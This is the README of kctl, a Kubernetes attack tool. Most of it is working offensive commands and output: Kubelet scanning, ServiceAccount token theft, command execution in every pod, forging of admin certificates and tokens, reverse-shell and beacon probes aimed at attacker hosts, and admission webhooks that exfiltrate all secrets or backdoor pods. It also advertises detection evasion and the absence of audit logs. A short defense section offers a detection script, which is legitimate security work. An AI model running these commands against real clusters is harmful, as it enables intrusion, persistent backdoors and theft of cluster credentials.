Features • Installation • Quick Start • Modes • Commands • Golden Ticket • Persistence • Attack Scenario • Defense
kctl is a Kubernetes security audit tool designed for penetration testing. It supports two operation modes:
- Kubelet Mode - Direct Kubelet API (10250) access for node-level operations
- Kubernetes Mode - API Server (6443) operations including Golden Ticket attacks
| Feature | Mode | Description |
|---|---|---|
discover |
Kubelet | Scan network ranges to find Kubelet endpoints |
sa scan |
Kubelet | Extract and analyze SA tokens from all Pods |
exec |
Kubelet | Execute commands in any Pod via Kubelet API |
run |
Kubelet | Execute commands via /run API |
portforward |
Kubelet | Port forwarding through Kubelet API |
pid2pod |
Kubelet | Map Linux PIDs to Pod metadata |
golden |
Kubernetes | Forge certificates and SA tokens (Golden Ticket) |
persist probe-inject |
Kubernetes | Inject exec probes into DaemonSets/Deployments for persistence |
persist webhook-inject |
Kubernetes | Deploy malicious Admission Webhooks for persistence |
# Linux amd64
curl -LO https://github.com/kinokopio/kctl/releases/latest/download/kctl-linux-amd64
chmod +x kctl-linux-amd64
mv kctl-linux-amd64 /usr/local/bin/kctl
# macOS arm64
curl -LO https://github.com/kinokopio/kctl/releases/latest/download/kctl-darwin-arm64
chmod +x kctl-darwin-arm64
mv kctl-darwin-arm64 /usr/local/bin/kctlgit clone https://github.com/kinokopio/kctl.git
cd kctl
go build -o kctl ./main/main.go# Enter interactive console
./kctl console
# Specify target
./kctl console -t 10.0.0.1
# Full connection parameters
./kctl console -t 10.0.0.1 -p 10250 --token "eyJ..." --api-server 10.0.0.1 --api-port 6443
# Use SOCKS5 proxy
./kctl console -t 10.0.0.1 --proxy socks5://127.0.0.1:1080When running inside a Pod, kctl automatically:
- Detects Kubelet IP (default gateway)
- Reads ServiceAccount token
- Connects to Kubelet
- Checks current SA permissions
$ ./kctl console
██╗ ██╗ ██████╗████████╗██╗
██║ ██╔╝██╔════╝╚══██╔══╝██║
█████╔╝ ██║ ██║ ██║
██╔═██╗ ██║ ██║ ██║
██║ ██╗╚██████╗ ██║ ███████╗
╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝
Kubernetes Security Audit Tool
[*] Mode: kubelet (In-Pod)
[*] Kubelet: 10.244.1.1:10250 (auto-detected)
[*] Type 'help' for available commands
[*] Auto-connecting to Kubelet 10.244.1.1:10250...
✓ Connected successfully
[+] Using ServiceAccount: default/attacker
[*] Checking permissions...
[+] Risk Level: CRITICAL
kctl [kubelet:10.244.1.1:10250 default/attacker CRITICAL]>
kctl operates in two modes with different command sets:
For direct Kubelet API operations on a single node:
kctl [kubelet:10.0.0.1:10250]> help
Available Commands [kubelet]
Connection:
connect Connect to Kubelet
discover Scan network to find Kubelet nodes
Information:
pods List Pods on the node
sa ServiceAccount operations
Execution:
exec Execute command (WebSocket)
run Execute command (/run API)
portforward Port forwarding
pid2pod Map PIDs to Pods
For API Server operations including Golden Ticket attacks:
kctl [kubelet]> mode kubernetes
[+] Switched to kubernetes mode
kctl [kubernetes:127.0.0.1:6443]> help
Available Commands [kubernetes]
Golden Ticket:
golden Forge certificates and SA tokens
Configuration:
set Set configuration
show Show information
Switch modes with mode kubelet or mode kubernetes.
The Golden Ticket feature allows forging Kubernetes certificates and ServiceAccount tokens for persistence after compromising cluster CA keys.
To use Golden Ticket, you need access to:
- CA certificate and private key (
ca.crt,ca.key) - for forging user/node certificates - SA signing key (
sa.key) - for forging ServiceAccount tokens
These files are typically found on control plane nodes at /etc/kubernetes/pki/.
# Switch to kubernetes mode
kctl> mode kubernetes
# Set API Server
kctl [kubernetes]> set api-server 10.0.0.1
kctl [kubernetes]> set api-port 6443
# Forge admin certificate
kctl [kubernetes:10.0.0.1:6443]> golden user-cert --ca-cert ca.crt --ca-key ca.key --role system:masters --user admin
[*] Using API Server: https://10.0.0.1:6443
[*] Creating user certificate (system:masters/admin)...
[+] Successfully created user certificate!
Certificate: system-masters_admin.crt
Private key: system-masters_admin.key
Kubeconfig: kubeconfig_system-masters_admin
Test with: kubectl --kubeconfig=kubeconfig_system-masters_admin auth whoami
[*] Identity: admin (role: system:masters)
[*] Expires at: 2027-02-10 16:30:19# First, fetch UID cache from API Server
kctl [kubernetes:10.0.0.1:6443]> golden update-uid --ca-cert ca.crt --ca-key ca.key
[*] Using API Server: https://10.0.0.1:6443
[*] Creating temporary admin certificate...
[*] Requesting ServiceAccount list...
[+] Received 45 ServiceAccounts
[+] UID cache saved to memory
# List cached UIDs
kctl [kubernetes:10.0.0.1:6443]> golden uid-list
kctl [kubernetes:10.0.0.1:6443]> golden uid-list -n kube-system
# Forge token (UID auto-lookup from memory)
kctl [kubernetes:10.0.0.1:6443]> golden sa-token --sa-key sa.key --namespace kube-system --name default
[+] Found UID in memory cache: a1b2c3d4-...
[*] Forging ServiceAccount token (TTL: 3600s)...
[+] Forged ServiceAccount token for kube-system/default:
Token: eyJhbGciOiJSUzI1NiIs...
[+] Kubeconfig: kubeconfig_kube-system_default| Command | Description |
|---|---|
golden user-cert |
Forge user certificate (e.g., cluster-admin) |
golden node-cert |
Forge node certificate (impersonate kubelet) |
golden sa-token |
Forge ServiceAccount JWT token |
golden update-uid |
Fetch SA UIDs from API Server to memory |
golden uid-list |
List cached UIDs |
golden test |
Validate key files |
kctl provides two persistence mechanisms for maintaining access to compromised clusters:
Inject exec probes into DaemonSets or Deployments to execute commands periodically on every node.
# Interactive mode
persist probe-inject
# Direct injection with reverse shell
persist probe-inject -d kube-system/kube-proxy --payload reverse-bash --host 10.0.0.100 --port 4444
# HTTP beacon
persist probe-inject -d monitoring/node-exporter --payload http-curl --url https://c2.attacker.com/beacon
# List workloads with exec probes
persist probe-list
# Remove injected probes
persist probe-restoreFeatures:
- Auto-detect available tools in containers (sh, bash, curl, nc, python, etc.)
- 9 payload templates (reverse shells, HTTP beacons, custom commands)
- Support DaemonSet and Deployment workloads
- Base64 encoding to evade detection
- Dry-run mode for preview
Deploy malicious MutatingWebhooks to intercept and modify Kubernetes resources.
# Interactive mode
persist webhook-inject
# Secret exfiltration - steal all secrets
persist webhook-inject -t secret-exfil --exfil-url https://attacker.com/collect
# Pod backdoor - inject sidecar into all new pods
persist webhook-inject -t pod-backdoor --image busybox --command "sh,-c,sleep infinity"
# External webhook server mode (with auto-generated certificates)
persist webhook-inject -t secret-exfil --external-url https://my-server:8443/webhook --cert-dir ./certs
# List webhooks
persist webhook-list
# Remove webhooks
persist webhook-restoreAttack Types:
| Type | Description |
|---|---|
secret-exfil |
Intercept Secret creation/updates and exfiltrate to external server |
pod-backdoor |
Inject malicious sidecar container into all new Pods |
Deployment Modes:
| Mode | Description |
|---|---|
| In-cluster (default) | Deploy webhook service inside the cluster (~6MB Go binary) |
| External URL | Use external server as webhook endpoint (certificates auto-generated) |
| Command | Description |
|---|---|
persist probe-inject |
Inject exec probes into DaemonSets/Deployments |
persist probe-list |
List workloads with exec probes |
persist probe-restore |
Remove injected probes |
persist webhook-inject |
Deploy malicious admission webhooks |
persist webhook-list |
List webhook configurations |
persist webhook-restore |
Remove injected webhooks |
| Command | Description |
|---|---|
help |
Show help information |
mode |
View or switch operation mode |
set <key> <value> |
Set configuration |
show options |
Show current configuration |
show status |
Show session status |
export json/csv |
Export scan results |
clear |
Clear cache |
exit |
Exit console |
| Command | Description |
|---|---|
discover <target> |
Scan network range for Kubelet nodes |
connect [ip] |
Connect to Kubelet |
pods |
List Pods on the node |
sa scan |
Scan all Pod SA tokens |
sa list |
List scanned ServiceAccounts |
sa use <ns/name> |
Switch to specified SA |
sa info |
Show current SA details |
exec |
Execute command in Pod (WebSocket) |
run |
Execute command in Pod (/run API) |
portforward |
Port forwarding to Pod |
pid2pod |
Map PIDs to Pods (in-Pod only) |
| Command | Description |
|---|---|
golden user-cert |
Forge user certificate |
golden node-cert |
Forge node certificate |
golden sa-token |
Forge ServiceAccount token |
golden update-uid |
Fetch SA UIDs to memory |
golden uid-list |
List cached UIDs |
golden test |
Validate key files |
persist probe-inject |
Inject exec probes for persistence |
persist probe-list |
List workloads with exec probes |
persist probe-restore |
Remove injected probes |
persist webhook-inject |
Deploy malicious webhooks |
persist webhook-list |
List webhook configurations |
persist webhook-restore |
Remove injected webhooks |
# Scan CIDR range
discover 10.0.0.0/24
# Scan IP range
discover 10.0.0.1-254
# Custom ports and concurrency
discover 10.0.0.0/24 -p 10250,10255 -c 200
# Show all open ports (not just Kubelet)
discover 10.0.0.0/24 --allOutput example:
[*] Scanning 10.0.0.0/24:10250 (254 targets, 100 concurrent)
[========================================] 100% (254/254)
[*] Validating Kubelet endpoints...
+-------------+-------+------------+
| IP | PORT | HEALTH |
+-------------+-------+------------+
| 10.0.0.1 | 10250 | /healthz |
| 10.0.0.5 | 10250 | /healthz |
+-------------+-------+------------+
[+] Scan complete in 3.2s: 3 open ports, 2 Kubelet nodes
[*] Use 'set target <ip>' to select target
[*] Use 'show kubelets' to view cached results
# List all SAs (default)
sa
# List risky SAs only
sa list --risky
# List cluster-admin only
sa list --admin
# Scan all Pod SA tokens
sa scan
# Select SA
sa use kube-system/cluster-admin
# Show current SA details
sa info# Interactive shell (WebSocket)
exec -it nginx-pod
# Execute command in specific Pod
exec nginx-pod -- cat /etc/passwd
# Execute across all Pods
exec --all-pods -- whoami
# Execute with filters
exec --all-pods --filter-ns kube-system -- id
# Use /run API (simpler, no WebSocket)
run nginx-pod --cmd "cat /etc/passwd"
# Run across all Pods
run --all-pods --cmd "hostname"# Forward local port 8080 to Pod port 80
portforward nginx-pod 8080:80
# Forward with custom listen address
portforward nginx-pod 8080:80 --address 0.0.0.0
# Stop port forwarding
pf stop# Show all container processes with Pod info
pid2pod
# Look up specific PID
pid2pod --pid 1234
# Show all processes including non-container
pid2pod --all# 1. Scan network to discover Kubelet nodes
kctl [kubelet]> discover 10.0.0.0/24
# 2. Select target
kctl [kubelet]> set target 10.0.0.5
# 3. Scan SA permissions on all Pods
kctl [kubelet:10.0.0.5:10250]> sa scan
# 4. View high-privilege SAs
kctl [kubelet:10.0.0.5:10250]> sa list --admin
# 5. Switch to high-privilege SA
kctl [kubelet:10.0.0.5:10250]> sa use kube-system/cluster-admin
# 6. Execute commands with new identity
kctl [kubelet:10.0.0.5:10250 kube-system/cluster-admin ADMIN]> exec -it# 1. Switch to kubernetes mode
kctl [kubelet]> mode kubernetes
# 2. Set API Server
kctl [kubernetes]> set api-server 10.0.0.1
kctl [kubernetes]> set api-port 6443
# 3. Forge admin certificate (requires ca.crt and ca.key)
kctl [kubernetes:10.0.0.1:6443]> golden user-cert -c ca.crt -k ca.key --role system:masters
# 4. Test the forged certificate
$ kubectl --kubeconfig=kubeconfig_system-masters_kubernetes-admin get nodes
# 5. For SA token forgery, first fetch UIDs
kctl [kubernetes:10.0.0.1:6443]> golden update-uid -c ca.crt -k ca.key
# 6. Forge SA token (requires sa.key)
kctl [kubernetes:10.0.0.1:6443]> golden sa-token -s sa.key --namespace kube-system --name defaultThe nodes/proxy GET permission is commonly granted to monitoring tools (Prometheus, Datadog, Grafana) for collecting metrics.
Based on Graham Helton's research, due to Kubelet's authorization flaw with WebSocket connections, nodes/proxy GET can be used to execute commands in any Pod.
- WebSocket protocol requires HTTP GET for initial handshake
- Kubelet performs authorization check based on initial HTTP method (GET)
- After authorization passes, WebSocket connection can access
/execendpoint to execute commands - This bypasses the
nodes/proxy CREATEpermission that should be required
Assume you have access to a Pod whose ServiceAccount has nodes/proxy GET permission:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: nodes-proxy-reader
rules:
- apiGroups: [""]
resources: ["nodes/proxy"]
verbs: ["get"]# Copy kctl to target Pod
kubectl cp kctl-linux-amd64 attacker:/kctl
# Enter Pod
kubectl exec -it attacker -- /bin/sh
# Run kctl
/kctl console[*] Auto-connecting to Kubelet 10.244.1.1:10250...
✓ Connected successfully
[+] Using ServiceAccount: default/attacker
[*] Checking permissions...
[+] Risk Level: HIGH
kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]>
kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]> sa info
ServiceAccount Information
─────────────────────────────────────────
Name : attacker
Namespace : default
Risk Level : HIGH
Token Status : Valid
Permissions:
- nodes/proxy:get <- Key permission!
- nodes:list
- pods:list
kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]> sa scan
[*] Scanning ServiceAccount tokens...
[*] Found 15 pods with SA tokens
[*] Checking permissions... (3 concurrent)
RISK NAMESPACE POD SERVICE ACCOUNT TOKEN FLAGS
─────────────────────────────────────────────────────────────────────────────────
ADMIN kube-system kube-proxy-xxxxx kube-proxy Valid -
ADMIN kube-system coredns-xxxxx coredns Valid -
HIGH monitoring prometheus-xxxxx prometheus Valid -
...
[+] Scan complete: 15 SAs, 2 ADMIN, 1 CRITICAL, 3 HIGH
Since we have nodes/proxy GET permission, we can execute commands in any Pod via Kubelet API:
kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]> pods
NAMESPACE POD STATUS CONTAINERS
───────────────────────────────────────────────────────────────
kube-system etcd-master Running etcd
kube-system kube-apiserver-master Running kube-apiserver
kube-system kube-proxy-xxxxx Running kube-proxy
default nginx Running nginx
...
kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]> exec -n kube-system kube-proxy-xxxxx -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
This returns the kube-proxy ServiceAccount token, which typically has cluster-admin privileges!
kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]> sa use kube-system/kube-proxy
[+] Switched to kube-system/kube-proxy
[*] Checking permissions...
[!] Risk Level: ADMIN (cluster-admin)
kctl [kubelet:10.244.1.1:10250 kube-system/kube-proxy ADMIN]>
Now you have cluster-admin privileges and can fully control the cluster with this token.
┌─────────────────────────────────────────────────────────────────┐
│ nodes/proxy GET Privilege Escalation │
└─────────────────────────────────────────────────────────────────┘
┌──────────────┐ ┌──────────────┐ ┌──────────────────────┐
│ Initial │ │ Permission │ │ Lateral Movement │
│ Access │ │ Discovery │ │ │
│ │────>│ │────>│ Execute commands in │
│ Compromised │ │ nodes/proxy │ │ other Pods via │
│ Pod │ │ GET found │ │ Kubelet API │
└──────────────┘ └──────────────┘ └──────────────────────┘
│
v
┌──────────────┐ ┌──────────────┐ ┌──────────────────────┐
│ Full Cluster │ │ Privilege │ │ Token Theft │
│ Control │ │ Escalation │ │ │
│ │<────│ │<────│ Read system Pod │
│ cluster-admin│ │ Use high- │ │ SA tokens │
│ access │ │ priv token │ │ │
└──────────────┘ └──────────────┘ └──────────────────────┘
| Level | Description | Example Permissions |
|---|---|---|
| ADMIN | Cluster administrator | */*, cluster-admin |
| CRITICAL | Direct privilege escalation | secrets:create, pods/exec:create |
| HIGH | Sensitive data exposure | secrets:get, nodes/proxy:get |
| MEDIUM | Potential abuse | pods:create, configmaps:get |
| LOW | Low risk | pods:list, services:get |
| NONE | No risk | Read-only basic permissions |
- Avoid nodes/proxy permissions - Use KEP-2862 fine-grained permissions (
nodes/metrics,nodes/stats) - Network isolation - Restrict access to Kubelet port (10250)
- Audit logging - Note: Direct Kubelet API access bypasses K8s audit logs
- Least privilege - Regularly review ServiceAccount permissions
Check for ServiceAccounts with nodes/proxy permission:
kubectl get clusterrolebindings -o json | jq -r '
.items[] |
select(.roleRef.kind == "ClusterRole") |
.metadata.name as $binding |
.roleRef.name as $role |
.subjects[]? |
"\($binding) -> \($role) -> \(.kind)/\(.namespace)/\(.name)"
' | while read line; do
role=$(echo $line | cut -d'>' -f2 | tr -d ' ')
kubectl get clusterrole $role -o json 2>/dev/null | \
jq -e '.rules[] | select(.resources[] | contains("nodes/proxy"))' >/dev/null && \
echo "[!] $line"
done- This tool is intended for authorized security assessments and penetration testing only
- Ensure you have proper authorization before use
- All operations are performed in memory, leaving no traces after exit
- Direct Kubelet API access is not recorded in Kubernetes audit logs
- Golden Ticket attacks require prior access to cluster CA/SA keys